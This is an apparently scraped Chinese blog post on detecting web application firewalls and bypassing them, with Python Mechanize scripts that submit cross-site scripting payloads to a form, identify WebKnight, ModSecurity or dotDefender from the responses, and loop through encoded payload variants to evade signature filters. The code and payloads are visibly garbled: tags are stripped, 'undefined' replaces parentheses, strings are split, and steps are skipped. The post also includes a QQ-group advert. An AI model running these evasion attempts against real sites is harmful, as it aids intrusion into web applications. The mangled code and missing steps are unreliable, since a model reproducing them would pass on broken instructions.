美文网首页Python新世界
防火墙在程序员眼里不存在的!这就是黑客Python!绕过防火墙!

防火墙在程序员眼里不存在的!这就是黑客Python!绕过防火墙!

作者: 919b0c54458f | 来源:发表于2018-08-04 16:58 被阅读1次

1.

2. alert(*)

第一个签名将过滤任何包含字符串的请求,第二个将过滤任何包含alert(*)字符串的请求。

如何判断目标环境是否部署防火墙?

当我们对一个系统进行渗透时,如果你忽略了防火墙的存在,那么就会为我们的测试带来诸多的麻烦。因此在开始真正的渗透之前,我们最好能先判断下目标系统是否存在WAF。那么我们该如何进行判断呢?我们还拿以上定义的payload来举例。在通常情况下,如果我们在一个部署有WAF的系统上执行以上payload,那么在http的响应中我们将能捕获到WAF留下的轨迹:

进群:125240963   即可获取数十套PDF哦!

步骤2:准备恶意请求!

为了检测防火墙的存在与否,第二步我们需要创建一个会被防火墙阻止的恶意跨站脚本请求。这里我将用到一个名为“Mechanize”的python模块.

Automate Cross Site Scripting (XSS) attack using Beautiful Soup and Mechanize

如果你已经了解了Mechanize模块,可以跳过此文章的阅读。现在,我们就可以对任意页面提供的Web表单发起请求了。实现代码如下:

import mechanize as mec

maliciousRequest = mec.Browser()

formName = 'waf'

maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.

html")

maliciousRequest.select_form(formName)

步骤3:准备payload

在HTML文档中我们定义了一个名为’data’的输入字段:

input type="text" name="data">

因此,我们可以使用以下代码来提交我们的payload:

crossSiteScriptingPayLoad = "alert`1`

"maliciousRequest.form['data'] = crossSiteScriptingPayLoad

可以看到payload被打印在了HTML文档中,这也说明应用程序代码中没有任何的过滤机制,并且由于没有防火墙的保护,我们的恶意请求也未被阻止。

步骤5:防火墙部署检测

变量’response’中包含了从服务器获取的响应信息,也是我们判断目标环境是否部署防火墙的重要依据。下面,我们将针对以下几款防火墙进行检测。

使用暴力测试攻击绕过防火墙过滤器

在文章开头我就说过,如今的大多数防护墙都是基于签名来过滤我们的请求流量的。但是,这并不意味着我们就拿它没办法了。随着Javascript的日趋复杂,我们可以用它来构建数千种的payload并逐一进行尝试,以绕过防火墙的检测。需要说明的是如果防护墙规则被明确定义,那么该方法可能会失效。下面让我们使用python脚本,来帮助我们完成暴力测试攻击:

listofPayloads = ['

Close me!<

/form>', 'prompt(

1)', '

>CLICK ME']

for payLoads in listofPayloads:

maliciousRequest = mec.Browserundefined)

formName = 'waf'

maliciousRequest.openundefined"http://check.cyberpersons.com/cross

SiteCheck.html")

maliciousRequest.select_formundefinedformName)

maliciousRequest.form['data'] = payLoads

maliciousRequest.submitundefined)

response = maliciousRequest.responseundefined).readundefined)

if response.findundefined'WebKnight') >= 0:

print "Firewall detected: WebKnight"

elif response.findundefined'Mod_Security') >= 0:

print "Firewall detected: Mod Security"

elif response.findundefined'Mod_Security') >= 0:

print "Firewall detected: Mod Security"

elif response.findundefined'dotDefender') >= 0:

print "Firewall detected: Dot Defender"

else:

print "No Firewall Present"

listofPayloads = ['','\u003cb\u003e','\x3cb\x3e']

for payLoads in listofPayloads:

maliciousRequest = mec.Browser()

formName = 'waf'

maliciousRequest.open("http://check.cyberpersons.com/crossSite

Check.html")

maliciousRequest.select_form(formName)

maliciousRequest.form['data'] = payLoads

maliciousRequest.submit()

response = maliciousRequest.response().read()

print "---------------------------------------------------"

print response

print "---------------------------------------------------"

我的输出结果如下:

从结果可以看到,并没有编码的条目被转换为其原始格式。

总结

通过本文的介绍,相信大家已经对防火墙有了一个基本的了解和认识。作为一名安全测试人员,了解和掌握防火墙的工作机制是非常必要的。而对于企业而言,更不能忽视了安全的重要性。

相关文章

  • 防火墙在程序员眼里不存在的!这就是黑客Python!绕过防火墙!

    1. 2. alert(*) 第一个签名将过滤任何包含字符串的请求,第二个将过滤任何包含alert(*)字符串的请...

  • 《 黑客与画家》与如何创造财富

    在大众眼里,黑客就是入侵计算机的人,可是大程序员眼里黑客就是指的是优秀的程序员,黑客这个词的字面意思主要就是精通,...

  • centos7防火墙基本命令

    防火墙的基本使用命令 启动防火墙 停止防火墙 开机启动防火墙 开机禁止防火墙 查看防火墙状态 查看防火墙是否开机启...

  • LINUX防火墙

    一、iptables防火墙 -1、基本操作 查看防火墙状态 停止防火墙 启动防火墙 重启防火墙 永久关闭防火墙 永...

  • SQLmap绕过防火墙

    确认WAF sqlmap命令: sqlmap -u 目标URL --threads=10 --identify-w...

  • iptables

    1. 介绍 防火墙就是实现Linux下访问控制功能的,分为软件防火墙和硬件防火墙两种。我们需要得定义防火墙的规则和...

  • Linux 防火墙firewall设置

    Linux 防火墙设置说明:使用的是FIREWALL防火墙 安装防火墙 开启防火墙 排除端口 命令含义: 防火墙重...

  • Linux 防火墙设置

    Linux 防火墙设置 说明:使用的是FIREWALL防火墙 安装防火墙 开启防火墙 排除端口 防火墙重启 关闭端...

  • Linux防火墙研究

    防火墙的分类 包过滤防火墙 代理服务型防火墙 网络资料重点 一、总结下防火墙的实现原理: Netfilter在TC...

  • Centos6.5 关闭系统防火墙及内核防火墙

    清空系统防火墙 保存防火墙配置 临时关闭内核防火墙 永久关闭内核防火墙

网友评论

    本文标题:防火墙在程序员眼里不存在的!这就是黑客Python!绕过防火墙!

    本文链接:https://www.haomeiwen.com/subject/ozumvftx.html